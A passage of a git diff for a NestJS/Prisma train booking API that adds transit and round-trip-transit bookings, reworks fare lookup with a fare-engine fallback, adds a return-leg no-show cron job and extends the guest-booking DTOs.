originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } }, + }), + this.prisma.trainSchedule.findUnique({ + where: { id: dto.leg2ScheduleId }, + include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } }, + }), + ]); + if (!leg1Schedule) throw new NotFoundException('Leg-1 schedule not found'); + if (!leg2Schedule) throw new NotFoundException('Leg-2 schedule not found'); + + const leg1OriginStop = leg1Schedule.stopTimes.find(s => s.stationId === dto.originStationId); + const leg1DestStop = leg1Schedule.stopTimes.find(s => s.stationId === dto.transitStationId); + const leg2OriginStop = leg2Schedule.stopTimes.find(s => s.stationId === dto.transitStationId); + const leg2DestStop = leg2Schedule.stopTimes.find(s => s.stationId === dto.leg2DestinationStationId); + if (!leg1OriginStop || !leg1DestStop) throw new NotFoundException('Leg-1 origin or transit station not found on schedule'); + if (!leg2OriginStop || !leg2DestStop) throw new NotFoundException('Transit or leg-2 destination station not found on leg-2 schedule'); + + const passengersData = await this.processPassengers(dto.passengers as any[]); + const { adultCount, childCount } = this.countPassengers(passengersData); + + const leg2SeatClassId = dto.leg2SeatClassId ?? dto.seatClassId; + const [leg1Fare, leg2Fare] = await Promise.all([ + this.calculateFare(dto.scheduleId, dto.seatClassId, leg1OriginStop, leg1DestStop, passengersData[0]?.nationality, adultCount, childCount), + this.calculateFare(dto.leg2ScheduleId, leg2SeatClassId, leg2OriginStop, leg2DestStop, passengersData[0]?.nationality, adultCount, childCount), + ]); + + const combinedBase = leg1Fare.totalBaseFareMinor + leg2Fare.totalBaseFareMinor; + let discountMinor = 0; + if (dto.promoCode) { + const promo = await this.prisma.promotion.findUnique({ where: { code: dto.promoCode } }); + if (promo?.active && promo.validUntil > new Date()) { + discountMinor = promo.percentOff ? Math.round(combinedBase * promo.percentOff / 100) : (promo.amountOffMinor ?? 0); + } + } + const loyaltyMinor = (dto.loyaltyRedemptionPoints ?? 0) * 10; + const taxesMinor = Math.round(combinedBase * 0.05); + const totalMinor = Math.max(0, combinedBase - discountMinor - loyaltyMinor + taxesMinor); + const displayCurrency = dto.displayCurrency || Currency.ETB; + const displayTotalMinor = displayCurrency !== Currency.ETB + ? await this.currencyService.convertAmount(totalMinor, Currency.ETB, displayCurrency) + : totalMinor; + + // Single booking โ€” leg-1 seats at leg=1, leg-2 seats at leg=2 + const booking = await this.prisma.booking.create({ + data: { + bookingRef: generateRef(), + passengerId: dto.passengerId, + scheduleId: dto.scheduleId, + status: 'PENDING_PAYMENT', + bookingType: 'TRANSIT', + totalMinor, + adultCount, + childCount, + displayCurrency, + displayTotalMinor, + leg2ScheduleId: dto.leg2ScheduleId, + leg2OriginStationId: dto.transitStationId, + leg2DestinationStationId: dto.leg2DestinationStationId, + leg2SeatClassId, + seats: { + create: [ + ...passengersData.map(p => ({ + seat: { connect: { id: p.seatId } }, + leg: 1, + scheduleId: dto.scheduleId, + passengerName: p.passengerName, + dateOfBirth: p.dateOfBirth, + passengerCategory: p.category, + idDocumentType: p.idDocumentType, + passportNumber: p.passportNumber, + passportCountry: p.passportCountry, + verifaydaVerified: p.verifaydaVerified, + verifaydaData: p.verifaydaData, + fareMinor: p.category === PassengerCategory.ADULT ? leg1Fare.baseFareMinor : (leg1Fare.paidChildrenCount > 0 ? leg1Fare.baseFareMinor : 0), + displayCurrency, + })), + ...passengersData.map(p => ({ + seat: { connect: { id: p.leg2SeatId ?? p.seatId } }, + leg: 2, + scheduleId: dto.leg2ScheduleId, + passengerName: p.passengerName, + dateOfBirth: p.dateOfBirth, + passengerCategory: p.category, + idDocumentType: p.idDocumentType, + passportNumber: p.passportNumber, + passportCountry: p.passportCountry, + verifaydaVerified: p.verifaydaVerified, + verifaydaData: p.verifaydaData, + fareMinor: p.category === PassengerCategory.ADULT ? leg2Fare.baseFareMinor : (leg2Fare.paidChildrenCount > 0 ? leg2Fare.baseFareMinor : 0), + displayCurrency, + })), + ], + }, + } as any, + include: { seats: { include: { seat: true } }, schedule: { include: { originStation: true, destinationStation: true, train: true } } }, + }); + + await Promise.all([ + this.seatsService.confirmSeats(passengersData.map(p => p.seatId)), + this.seatsService.confirmSeats(passengersData.map(p => p.leg2SeatId ?? p.seatId)), + ]); + this.eventEmitter.emit('booking.created', { booking }); + + return { + ...booking, + fareBreakdown: { + leg1BaseFareMinor: leg1Fare.baseFareMinor, + leg2BaseFareMinor: leg2Fare.baseFareMinor, + adultCount, childCount, + freeChildrenCount: Math.min(childCount, 1), + paidChildrenCount: leg1Fare.paidChildrenCount, + combinedBaseFareMinor: combinedBase, + discountMinor, loyaltyRedemptionMinor: loyaltyMinor, + taxesFeesMinor: taxesMinor, totalMinor, + currency: 'ETB', displayCurrency, displayTotalMinor, + }, + }; + } + + private async createRoundTripTransitBooking(dto: CreateBookingDto) { + if (!dto.leg2ScheduleId || !dto.leg2HoldId || !dto.transitStationId || !dto.leg2DestinationStationId || + !dto.returnScheduleId || !dto.returnHoldId || !dto.returnOriginStationId || !dto.returnDestinationStationId || + !dto.returnLeg2ScheduleId || !dto.returnLeg2HoldId || !dto.returnTransitStationId || !dto.returnLeg2DestinationStationId) { + throw new BadRequestException( + 'ROUND_TRIP_TRANSIT requires outbound transit fields (leg2ScheduleId, leg2HoldId, transitStationId, leg2DestinationStationId) ' + + 'AND return transit fields (returnScheduleId, returnHoldId, returnOriginStationId, returnDestinationStationId, ' + + 'returnLeg2ScheduleId, returnLeg2HoldId, returnTransitStationId, returnLeg2DestinationStationId)', + ); + } + + // Validate all 4 holds + const [obL1Hold, obL2Hold, retL1Hold, retL2Hold] = await Promise.all([ + this.prisma.seatHold.findUnique({ where: { id: dto.holdId } }), + this.prisma.seatHold.findUnique({ where: { id: dto.leg2HoldId } }), + this.prisma.seatHold.findUnique({ where: { id: dto.returnHoldId } }), + this.prisma.seatHold.findUnique({ where: { id: dto.returnLeg2HoldId } }), + ]); + const now = new Date(); + if (!obL1Hold || obL1Hold.expiresAt < now) throw new BadRequestException('Outbound leg-1 seat hold expired'); + if (!obL2Hold || obL2Hold.expiresAt < now) throw new BadRequestException('Outbound leg-2 seat hold expired'); + if (!retL1Hold || retL1Hold.expiresAt < now) throw new BadRequestException('Return leg-1 seat hold expired'); + if (!retL2Hold || retL2Hold.expiresAt < now) throw new BadRequestException('Return leg-2 seat hold expired'); + + // Load all 4 schedules + const [obL1Sched, obL2Sched, retL1Sched, retL2Sched] = await Promise.all([ + this.prisma.trainSchedule.findUnique({ where: { id: dto.scheduleId }, include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } } }), + this.prisma.trainSchedule.findUnique({ where: { id: dto.leg2ScheduleId }, include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } } }), + this.prisma.trainSchedule.findUnique({ where: { id: dto.returnScheduleId }, include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } } }), + this.prisma.trainSchedule.findUnique({ where: { id: dto.returnLeg2ScheduleId }, include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } } }), + ]); + if (!obL1Sched) throw new NotFoundException('Outbound leg-1 schedule not found'); + if (!obL2Sched) throw new NotFoundException('Outbound leg-2 schedule not found'); + if (!retL1Sched) throw new NotFoundException('Return leg-1 schedule not found'); + if (!retL2Sched) throw new NotFoundException('Return leg-2 schedule not found'); + + const obL1Origin = obL1Sched.stopTimes.find(s => s.stationId === dto.originStationId); + const obL1Dest = obL1Sched.stopTimes.find(s => s.stationId === dto.transitStationId); + const obL2Origin = obL2Sched.stopTimes.find(s => s.stationId === dto.transitStationId); + const obL2Dest = obL2Sched.stopTimes.find(s => s.stationId === dto.leg2DestinationStationId); + const retL1Origin = retL1Sched.stopTimes.find(s => s.stationId === dto.returnOriginStationId); + const retL1Dest = retL1Sched.stopTimes.find(s => s.stationId === dto.returnTransitStationId); + const retL2Origin = retL2Sched.stopTimes.find(s => s.stationId === dto.returnTransitStationId); + const retL2Dest = retL2Sched.stopTimes.find(s => s.stationId === dto.returnLeg2DestinationStationId); + if (!obL1Origin || !obL1Dest) throw new NotFoundException('Outbound leg-1: origin or transit station not found'); + if (!obL2Origin || !obL2Dest) throw new NotFoundException('Outbound leg-2: transit or destination not found'); + if (!retL1Origin || !retL1Dest) throw new NotFoundException('Return leg-1: origin or transit station not found'); + if (!retL2Origin || !retL2Dest) throw new NotFoundException('Return leg-2: transit or destination not found'); + + const passengersData = await this.processRoundTripPassengers(dto.passengers as any[]); + const { adultCount, childCount } = this.countPassengers(passengersData); + const nat = passengersData[0]?.nationality; + + const obL2SeatClassId = dto.leg2SeatClassId ?? dto.seatClassId; + const retL1SeatClassId = dto.returnSeatClassId ?? dto.seatClassId; + const retL2SeatClassId = dto.returnLeg2SeatClassId ?? dto.seatClassId; + + const [obL1Fare, obL2Fare, retL1Fare, retL2Fare] = await Promise.all([ + this.calculateFare(dto.scheduleId, dto.seatClassId, obL1Origin, obL1Dest, nat, adultCount, childCount), + this.calculateFare(dto.leg2ScheduleId, obL2SeatClassId, obL2Origin, obL2Dest, nat, adultCount, childCount), + this.calculateFare(dto.returnScheduleId, retL1SeatClassId, retL1Origin, retL1Dest, nat, adultCount, childCount), + this.calculateFare(dto.returnLeg2ScheduleId, retL2SeatClassId, retL2Origin, retL2Dest, nat, adultCount, childCount), + ]); + + const combinedBase = obL1Fare.totalBaseFareMinor + obL2Fare.totalBaseFareMinor + + retL1Fare.totalBaseFareMinor + retL2Fare.totalBaseFareMinor; + let discountMinor = 0; + if (dto.promoCode) { + const promo = await this.prisma.promotion.findUnique({ where: { code: dto.promoCode } }); + if (promo?.active && promo.validUntil > new Date()) { + discountMinor = promo.percentOff ? Math.round(combinedBase * promo.percentOff / 100) : (promo.amountOffMinor ?? 0); + } + } + const loyaltyMinor = (dto.loyaltyRedemptionPoints ?? 0) * 10; + const taxesMinor = Math.round(combinedBase * 0.05); + const totalMinor = Math.max(0, combinedBase - discountMinor - loyaltyMinor + taxesMinor); + const displayCurrency = dto.displayCurrency || Currency.ETB; + const displayTotalMinor = displayCurrency !== Currency.ETB + ? await this.currencyService.convertAmount(totalMinor, Currency.ETB, displayCurrency) + : totalMinor; + + const makeSeat = (p: any, seatId: string, leg: number, scheduleId: string, fare: Awaited>) => ({ + seat: { connect: { id: seatId } }, + leg, + scheduleId, + passengerName: p.passengerName, + dateOfBirth: p.dateOfBirth, + passengerCategory: p.category, + idDocumentType: p.idDocumentType, + passportNumber: p.passportNumber, + passportCountry: p.passportCountry, + verifaydaVerified: p.verifaydaVerified, + verifaydaData: p.verifaydaData, + fareMinor: p.category === PassengerCategory.ADULT ? fare.baseFareMinor : (fare.paidChildrenCount > 0 ? fare.baseFareMinor : 0), + displayCurrency, + }); + + const booking = await this.prisma.booking.create({ + data: { + bookingRef: generateRef(), + passengerId: dto.passengerId, + scheduleId: dto.scheduleId, + status: 'PENDING_PAYMENT', + bookingType: 'ROUND_TRIP_TRANSIT', + totalMinor, adultCount, childCount, displayCurrency, displayTotalMinor, + // Outbound transit leg-2 + leg2ScheduleId: dto.leg2ScheduleId, + leg2OriginStationId: dto.transitStationId, + leg2DestinationStationId: dto.leg2DestinationStationId, + leg2SeatClassId: obL2SeatClassId, + // Return transit + returnScheduleId: dto.returnScheduleId, + returnOriginStationId: dto.returnOriginStationId, + returnDestinationStationId: dto.returnDestinationStationId, + returnSeatClassId: retL1SeatClassId, + returnLeg2ScheduleId: dto.returnLeg2ScheduleId, + returnLeg2OriginStationId: dto.returnTransitStationId, + returnLeg2DestStationId: dto.returnLeg2DestinationStationId, + returnLeg2SeatClassId: retL2SeatClassId, + returnLegStatus: 'NEITHER_USED', + seats: { + create: [ + // Outbound leg-1 (sequence 1) + ...passengersData.map(p => makeSeat(p, p.outboundSeatId, 1, dto.scheduleId, obL1Fare)), + // Outbound leg-2 (sequence 2) + ...passengersData.map(p => makeSeat(p, p.outboundLeg2SeatId ?? p.outboundSeatId, 2, dto.leg2ScheduleId!, obL2Fare)), + // Return leg-1 (sequence 3) + ...passengersData.map(p => makeSeat(p, p.returnSeatId, 3, dto.returnScheduleId!, retL1Fare)), + // Return leg-2 (sequence 4) + ...passengersData.map(p => makeSeat(p, p.returnLeg2SeatId ?? p.returnSeatId, 4, dto.returnLeg2ScheduleId!, retL2Fare)), + ], + }, + } as any, + include: { seats: { include: { seat: true } }, schedule: { include: { originStation: true, destinationStation: true, train: true } } }, + }); + + await Promise.all([ + this.seatsService.confirmSeats(passengersData.map(p => p.outboundSeatId)), + this.seatsService.confirmSeats(passengersData.map(p => p.outboundLeg2SeatId ?? p.outboundSeatId)), + this.seatsService.confirmSeats(passengersData.map(p => p.returnSeatId)), + this.seatsService.confirmSeats(passengersData.map(p => p.returnLeg2SeatId ?? p.returnSeatId)), + ]); + this.eventEmitter.emit('booking.created', { booking }); + + return { + ...booking, + fareBreakdown: { + outboundLeg1FareMinor: obL1Fare.baseFareMinor, + outboundLeg2FareMinor: obL2Fare.baseFareMinor, + returnLeg1FareMinor: retL1Fare.baseFareMinor, + returnLeg2FareMinor: retL2Fare.baseFareMinor, + adultCount, childCount, + freeChildrenCount: Math.min(childCount, 1), + paidChildrenCount: obL1Fare.paidChildrenCount, + combinedBaseFareMinor: combinedBase, + discountMinor, loyaltyRedemptionMinor: loyaltyMinor, + taxesFeesMinor: taxesMinor, totalMinor, + currency: 'ETB', displayCurrency, displayTotalMinor, + }, + }; + } + private async processPassengers(passengers: any[]) { const processedPassengers = []; for (const passenger of passengers) { @@ -560,76 +884,69 @@ export class BookingsService { destStopSeq?: number, ): Promise { const now = new Date(); - - // Get schedule with route info + + // 1. SegmentFareRule โ€” most specific explicit price const schedule = await this.prisma.trainSchedule.findUnique({ where: { id: scheduleId }, - include: { route: true }, + select: { routeId: true, originStationId: true, destinationStationId: true }, }); - - // Try segment fare rule first (most specific) if route info available + if (schedule?.routeId && originStopSeq !== undefined && destStopSeq !== undefined) { - // Try with nationality first const segmentFare = await this.prisma.segmentFareRule.findFirst({ where: { routeId: schedule.routeId, originStopSequence: originStopSeq, destinationStopSequence: destStopSeq, seatClassId, - nationality: nationality || null, + nationality: nationality ?? null, validFrom: { lte: now }, - OR: [ - { validUntil: null }, - { validUntil: { gte: now } }, - ], + OR: [{ validUntil: null }, { validUntil: { gte: now } }], }, - }); - - if (segmentFare) { - return segmentFare.baseFareMinor; - } - - // If no segment fare with nationality, try without nationality filter - if (nationality) { - const segmentFareAny = await this.prisma.segmentFareRule.findFirst({ - where: { - routeId: schedule.routeId, - originStopSequence: originStopSeq, - destinationStopSequence: destStopSeq, - seatClassId, - nationality: null, - validFrom: { lte: now }, - OR: [ - { validUntil: null }, - { validUntil: { gte: now } }, - ], - }, - }); - if (segmentFareAny) return segmentFareAny.baseFareMinor; - } + }) ?? (nationality ? await this.prisma.segmentFareRule.findFirst({ + where: { + routeId: schedule.routeId, + originStopSequence: originStopSeq, + destinationStopSequence: destStopSeq, + seatClassId, + nationality: null, + validFrom: { lte: now }, + OR: [{ validUntil: null }, { validUntil: { gte: now } }], + }, + }) : null); + + if (segmentFare) return segmentFare.baseFareMinor; } - - // Fall back to fare rules if no segment fare found + + // 2. FareRule table โ€” explicit override rules const candidates = await this.prisma.fareRule.findMany({ where: { seatClassId, validFrom: { lte: now }, - OR: [ - { validUntil: null }, - { validUntil: { gte: now } }, - ], + OR: [{ validUntil: null }, { validUntil: { gte: now } }], }, }); + const bestMatch = this.selectBestFareRule(candidates, scheduleId, segmentRoute, fullRoute, nationality); + if (bestMatch) return bestMatch.baseFareMinor; - const bestMatch = this.selectBestFareRule( - candidates, - scheduleId, - segmentRoute, - fullRoute, - nationality, + // 3. FareEngine โ€” distance ร— rate-per-km from the schedule's route + if (schedule?.routeId) { + try { + const fare = await this.fareEngine.calculate({ + routeId: schedule.routeId, + originStationId: schedule.originStationId, + destinationStationId: schedule.destinationStationId, + seatClassId, + nationality, + }); + return fare.baseFarePerPassengerMinor; + } catch { + // FareEngine throws if distanceKm is missing; fall through to error + } + } + + throw new BadRequestException( + `No fare configured for this schedule and seat class. Please set up fare rules or route distances.`, ); - - return bestMatch?.baseFareMinor ?? 35000; } async getByRef(bookingRef: string) { @@ -646,7 +963,11 @@ export class BookingsService { id: booking.id, bookingRef: booking.bookingRef, status: booking.status, totalFare: booking.totalMinor / 100, adultCount: booking.adultCount, childCount: booking.childCount, displayCurrency: booking.displayCurrency, displayTotalFare: booking.displayTotalMinor ? booking.displayTotalMinor / 100 : undefined, - bookingType: booking.bookingType, createdAt: booking.createdAt, + bookingType: booking.bookingType, + returnLegStatus: (booking as any).returnLegStatus ?? null, + outboundBoardedAt: (booking as any).outboundBoardedAt ?? null, + returnBoardedAt: (booking as any).returnBoardedAt ?? null, + createdAt: booking.createdAt, schedule: { number: booking.schedule.train.number, origin: { id: booking.schedule.originStation.id, name: booking.schedule.originStation.name, code: booking.schedule.originStation.code, city: booking.schedule.originStation.city }, @@ -751,6 +1072,37 @@ export class BookingsService { } } + // Mark round-trip bookings where the return train has departed but the return leg + // was never scanned. Runs every minute; only acts on CONFIRMED bookings whose + // returnSchedule.departureAt is in the past and returnBoardedAt is still null. + @Cron(CronExpression.EVERY_MINUTE) + async markReturnLegNoShows() { + const now = new Date(); + const graceCutoff = new Date(now.getTime() - 30 * 60 * 1000); + + const candidates = await this.prisma.booking.findMany({ + where: { + bookingType: 'ROUND_TRIP', + status: 'CONFIRMED', + returnLegStatus: 'NEITHER_USED' as any, + outboundBoardedAt: { not: null }, + returnBoardedAt: null, + returnScheduleId: { not: null }, + }, + include: { returnSchedule: { select: { departureAt: true } } }, + } as any); + + for (const b of candidates) { + const returnDep: Date | undefined = (b as any).returnSchedule?.departureAt; + if (returnDep && returnDep < graceCutoff) { + await this.prisma.booking.update({ + where: { id: b.id }, + data: { returnLegStatus: 'OUTBOUND_ONLY' } as any, + }); + } + } + } + private selectBestFareRule( candidates: any[], scheduleId: string, diff --git a/apps/edr-passenger-api/src/modules/bookings/guest-booking.dto.ts b/apps/edr-passenger-api/src/modules/bookings/guest-booking.dto.ts index 8fca71aea..ba4af04b4 100644 --- a/apps/edr-passenger-api/src/modules/bookings/guest-booking.dto.ts +++ b/apps/edr-passenger-api/src/modules/bookings/guest-booking.dto.ts @@ -4,9 +4,18 @@ import { ApiProperty, ApiPropertyOptional } from '@nestjs/swagger'; import { Currency, IdDocumentType } from '@prisma/client'; export class GuestPassengerDto { - @ApiProperty({ example: 'seat-id-uuid' }) + @ApiProperty({ example: 'seat-id-uuid', description: 'Outbound seat ID (or only seat for ONE_WAY)' }) @IsString() seatId: string; + @ApiPropertyOptional({ example: 'seat-id-uuid', description: 'Return seat ID (ROUND_TRIP / ROUND_TRIP_TRANSIT outbound leg-1)' }) + @IsOptional() @IsString() returnSeatId?: string; + + @ApiPropertyOptional({ example: 'seat-id-uuid', description: 'Leg-2 seat ID (TRANSIT / ROUND_TRIP_TRANSIT outbound leg-2)' }) + @IsOptional() @IsString() leg2SeatId?: string; + + @ApiPropertyOptional({ example: 'seat-id-uuid', description: 'ROUND_TRIP_TRANSIT: return journey leg-2 seat ID' }) + @IsOptional() @IsString() returnLeg2SeatId?: string; + @ApiProperty({ example: 'Abebe Kebede' }) @IsString() passengerName: string; @@ -36,24 +45,72 @@ export class GuestPassengerDto { } export class CreateGuestBookingDto { - @ApiProperty({ example: 'schedule-uuid' }) + @ApiPropertyOptional({ example: 'ONE_WAY', enum: ['ONE_WAY', 'ROUND_TRIP', 'TRANSIT', 'ROUND_TRIP_TRANSIT'], default: 'ONE_WAY' }) + @IsOptional() @IsString() bookingType?: 'ONE_WAY' | 'ROUND_TRIP' | 'TRANSIT' | 'ROUND_TRIP_TRANSIT'; + + @ApiProperty({ example: 'schedule-uuid', description: 'Outbound / leg-1 schedule UUID' }) @IsString() scheduleId: string; - @ApiProperty({ example: 'hold-uuid' }) + @ApiProperty({ example: 'hold-uuid', description: 'Outbound seat hold UUID' }) @IsString() holdId: string; - @ApiProperty({ example: 'station-uuid', description: 'Origin station UUID' }) + @ApiProperty({ example: 'station-uuid', description: 'Outbound origin station UUID' }) @IsString() originStationId: string; - @ApiProperty({ example: 'station-uuid', description: 'Destination station UUID' }) + @ApiProperty({ example: 'station-uuid', description: 'Outbound destination station UUID' }) @IsString() destinationStationId: string; - @ApiProperty({ type: [GuestPassengerDto], description: 'Array of passengers. First passenger details used for contact.' }) - @IsArray() @ValidateNested({ each: true }) @Type(() => GuestPassengerDto) passengers: GuestPassengerDto[]; - - @ApiProperty({ example: 'seat-class-uuid', description: 'Seat class UUID' }) + @ApiProperty({ example: 'seat-class-uuid', description: 'Outbound seat class UUID' }) @IsString() seatClassId: string; + @ApiPropertyOptional({ example: 'seat-class-uuid', description: 'ROUND_TRIP / ROUND_TRIP_TRANSIT: return seat class UUID' }) + @IsOptional() @IsString() returnSeatClassId?: string; + + @ApiPropertyOptional({ example: 'schedule-uuid', description: 'TRANSIT / ROUND_TRIP_TRANSIT: leg-2 schedule UUID' }) + @IsOptional() @IsString() leg2ScheduleId?: string; + + @ApiPropertyOptional({ example: 'hold-uuid', description: 'TRANSIT / ROUND_TRIP_TRANSIT: leg-2 seat hold UUID' }) + @IsOptional() @IsString() leg2HoldId?: string; + + @ApiPropertyOptional({ example: 'station-uuid', description: 'TRANSIT / ROUND_TRIP_TRANSIT: connecting station UUID' }) + @IsOptional() @IsString() transitStationId?: string; + + @ApiPropertyOptional({ example: 'station-uuid', description: 'TRANSIT / ROUND_TRIP_TRANSIT: leg-2 destination station UUID' }) + @IsOptional() @IsString() leg2DestinationStationId?: string; + + @ApiPropertyOptional({ example: 'seat-class-uuid', description: 'TRANSIT / ROUND_TRIP_TRANSIT: leg-2 seat class UUID' }) + @IsOptional() @IsString() leg2SeatClassId?: string; + + @ApiPropertyOptional({ example: 'schedule-uuid', description: 'ROUND_TRIP / ROUND_TRIP_TRANSIT: return leg-1 schedule UUID' }) + @IsOptional() @IsString() returnScheduleId?: string; + + @ApiPropertyOptional({ example: 'hold-uuid', description: 'ROUND_TRIP / ROUND_TRIP_TRANSIT: return seat hold UUID' }) + @IsOptional() @IsString() returnHoldId?: string; + + @ApiPropertyOptional({ example: 'station-uuid', description: 'ROUND_TRIP / ROUND_TRIP_TRANSIT: return origin station UUID' }) + @IsOptional() @IsString() returnOriginStationId?: string; + + @ApiPropertyOptional({ example: 'station-uuid', description: 'ROUND_TRIP / ROUND_TRIP_TRANSIT: return destination station UUID' }) + @IsOptional() @IsString() returnDestinationStationId?: string; + + @ApiPropertyOptional({ example: 'schedule-uuid', description: 'ROUND_TRIP_TRANSIT: return leg-2 schedule UUID' }) + @IsOptional() @IsString() returnLeg2ScheduleId?: string; + + @ApiPropertyOptional({ example: 'hold-uuid', description: 'ROUND_TRIP_TRANSIT: return leg-2 seat hold UUID' }) + @IsOptional() @IsString() returnLeg2HoldId?: string; + + @ApiPropertyOptional({ example: 'station-uuid', description: 'ROUND_TRIP_TRANSIT: return transit station UUID' }) + @IsOptional() @IsString() returnTransitStationId?: string; + + @ApiPropertyOptional({ example: 'station-uuid', description: 'ROUND_TRIP_TRANSIT: return leg-2 destination station UUID' }) + @IsOptional() @IsString() returnLeg2DestinationStationId?: string; + + @ApiPropertyOptional({ example: 'seat-class-uuid', description: 'ROUND_TRIP_TRANSIT: return leg-2 seat class UUID' }) + @IsOptional() @IsString() returnLeg2SeatClassId?: string; + + @ApiProperty({ type: [GuestPassengerDto], description: 'Array of passengers. For ROUND_TRIP each passenger must include returnSeatId.' }) + @IsArray() @ValidateNested({ each: true }) @Type(() => GuestPassengerDto) passengers: GuestPassengerDto[]; + @ApiPropertyOptional({ example: 'WEEKEND15' }) @IsOptional() @IsString() promoCode?: string; @@ -66,7 +123,7 @@ export class CreateGuestBookingDto { @ApiPropertyOptional({ example: 'password123', description: 'Password if createAccount is true' }) @IsOptional() @IsString() password?: string; - @ApiPropertyOptional({ example: true, description: 'Save passenger details for future bookings (requires createAccount)' }) + @ApiPropertyOptional({ example: true, description: 'Save passenger details for future bookings' }) @IsOptional() @IsBoolean() savePassengerDetails?: boolean; @ApiPropertyOptional({ example: 'device-uuid-12345', description: 'Device ID for local storage of passenger details' }) diff --git a/apps/edr-passenger-api/src/modules/bookings/guest-booking.service.ts b/apps/edr-passenger-api/src/modules/bookings/guest-booking.service.ts index 93cbda7b0..48b84c4b6 100644 --- a/apps/edr-passenger-api/src/modules/bookings/guest-booking.service.ts +++ b/apps/edr-passenger-api/src/modules/bookings/guest-booking.service.ts @@ -3,6 +3,7 @@ import { PrismaService } from '../../common/prisma.service'; import { SeatsService } from '../seats/seats.service'; import { VerifaydaService } from '../verifayda/verifayda.service'; import { CurrencyService } from '../currency/currency.service'; +import { FareEngineService } from '../fare-engine/fare-engine.service'; import { EventEmitter2 } from '@nestjs/event-emitter'; import { CreateGuestBookingDto, SavedPassengerProfileDto } from './guest-booking.dto'; import { Currency, PassengerCategory, IdDocumentType } from '@prisma/client'; @@ -28,10 +29,18 @@ export class GuestBookingService { private seatsService: SeatsService, private verifaydaService: VerifaydaService, private currencyService: CurrencyService, + private fareEngine: FareEngineService, private eventEmitter: EventEmitter2, ) {} async createGuestBooking(dto: CreateGuestBookingDto) { + if (dto.bookingType === 'ROUND_TRIP') return this.createGuestRoundTripBooking(dto); + if (dto.bookingType === 'TRANSIT') return this.createGuestTransitBooking(dto); + if (dto.bookingType === 'ROUND_TRIP_TRANSIT') return this.createGuestRoundTripTransitBooking(dto); + return this.createGuestOneWayBooking(dto); + } + + private async createGuestOneWayBooking(dto: CreateGuestBookingDto) { // Validate hold const hold = await this.prisma.seatHold.findUnique({ where: { id: dto.holdId } }); if (!hold || hold.expiresAt < new Date()) { @@ -157,76 +166,7 @@ export class GuestBookingService { // Create or get guest passenger const firstPassenger = passengersData[0]; - let guestPassenger = null; - let userId = null; - let createdAccount = false; - - // Optional account creation - if (dto.createAccount && firstPassenger.email && dto.password) { - const existingUser = await this.prisma.user.findUnique({ where: { email: firstPassenger.email } }); - if (existingUser) { - throw new BadRequestException('Email already registered. Please login instead.'); - } - - let accountPhone = firstPassenger.phone || null; - if (accountPhone) { - const existingPhone = await this.prisma.user.findUnique({ where: { phone: accountPhone } }); - if (existingPhone) throw new BadRequestException('Phone number already registered. Please login instead.'); - } - if (!accountPhone) accountPhone = `+guest-${Date.now()}-${Math.random().toString(36).substring(2, 9)}`; - - const passwordHash = await bcrypt.hash(dto.password, 10); - const user = await this.prisma.user.create({ - data: { - fullName: firstPassenger.passengerName, - email: firstPassenger.email, - phone: accountPhone, - passwordHash, - nationality: firstPassenger.nationality, - nationalId: firstPassenger.idDocumentType === IdDocumentType.NATIONAL_ID ? firstPassenger.idDocumentNumber : undefined, - passportNumber: firstPassenger.passportNumber, - }, - }); - - guestPassenger = await this.prisma.passenger.create({ data: { userId: user.id } }); - await this.prisma.loyaltyAccount.create({ data: { passengerId: guestPassenger.id, pointsBalance: 0, tier: 'BRONZE' } }); - await this.prisma.walletAccount.create({ data: { passengerId: guestPassenger.id, balanceMinor: 0 } }); - - userId = user.id; - createdAccount = true; - } else { - // Create anonymous guest passenger with minimal data - const uniqueId = `${Date.now()}-${Math.random().toString(36).substring(2, 9)}`; - - // Check if email exists and use a unique guest email if it does - let guestEmail = firstPassenger.email || `guest-${uniqueId}@edr-platform.com`; - if (firstPassenger.email) { - const existingUser = await this.prisma.user.findUnique({ where: { email: firstPassenger.email } }); - if (existingUser) { - // Email exists, use guest email instead for anonymous booking - guestEmail = `guest-${uniqueId}@edr-platform.com`; - } - } - - // Use a guaranteed-unique guest phone to avoid constraint collisions - let guestPhone = firstPassenger.phone || null; - if (guestPhone) { - const existingPhone = await this.prisma.user.findUnique({ where: { phone: guestPhone } }); - if (existingPhone) guestPhone = null; - } - if (!guestPhone) guestPhone = `+guest-${uniqueId}`; - - const tempUser = await this.prisma.user.create({ - data: { - fullName: firstPassenger.passengerName, - email: guestEmail, - phone: guestPhone, - passwordHash: await bcrypt.hash(Math.random().toString(36), 10), - role: 'PASSENGER', - }, - }); - guestPassenger = await this.prisma.passenger.create({ data: { userId: tempUser.id } }); - } + const { guestPassenger, userId, createdAccount } = await this.resolveGuestPassenger(dto, firstPassenger); // Save passenger details for future use (if requested) if (dto.savePassengerDetails && (dto.createAccount || dto.deviceId)) { @@ -302,6 +242,649 @@ export class GuestBookingService { }; } + private async createGuestRoundTripBooking(dto: CreateGuestBookingDto) { + if (!dto.returnScheduleId || !dto.returnHoldId || !dto.returnOriginStationId || !dto.returnDestinationStationId) { + throw new BadRequestException('returnScheduleId, returnHoldId, returnOriginStationId and returnDestinationStationId are required for ROUND_TRIP'); + } + + // Validate both holds + const [outboundHold, returnHold] = await Promise.all([ + this.prisma.seatHold.findUnique({ where: { id: dto.holdId } }), + this.prisma.seatHold.findUnique({ where: { id: dto.returnHoldId } }), + ]); + if (!outboundHold || outboundHold.expiresAt < new Date()) throw new BadRequestException('Outbound seat hold expired or not found'); + if (!returnHold || returnHold.expiresAt < new Date()) throw new BadRequestException('Return seat hold expired or not found'); + + // Validate passengers have returnSeatId + for (const p of dto.passengers) { + if (!p.returnSeatId) throw new BadRequestException(`returnSeatId is required for each passenger in a ROUND_TRIP booking (missing for ${p.passengerName})`); + } + + // Load both schedules + const [outboundSchedule, returnSchedule] = await Promise.all([ + this.prisma.trainSchedule.findUnique({ + where: { id: dto.scheduleId }, + include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } }, + }), + this.prisma.trainSchedule.findUnique({ + where: { id: dto.returnScheduleId }, + include: { originStation: true, destinationStation: 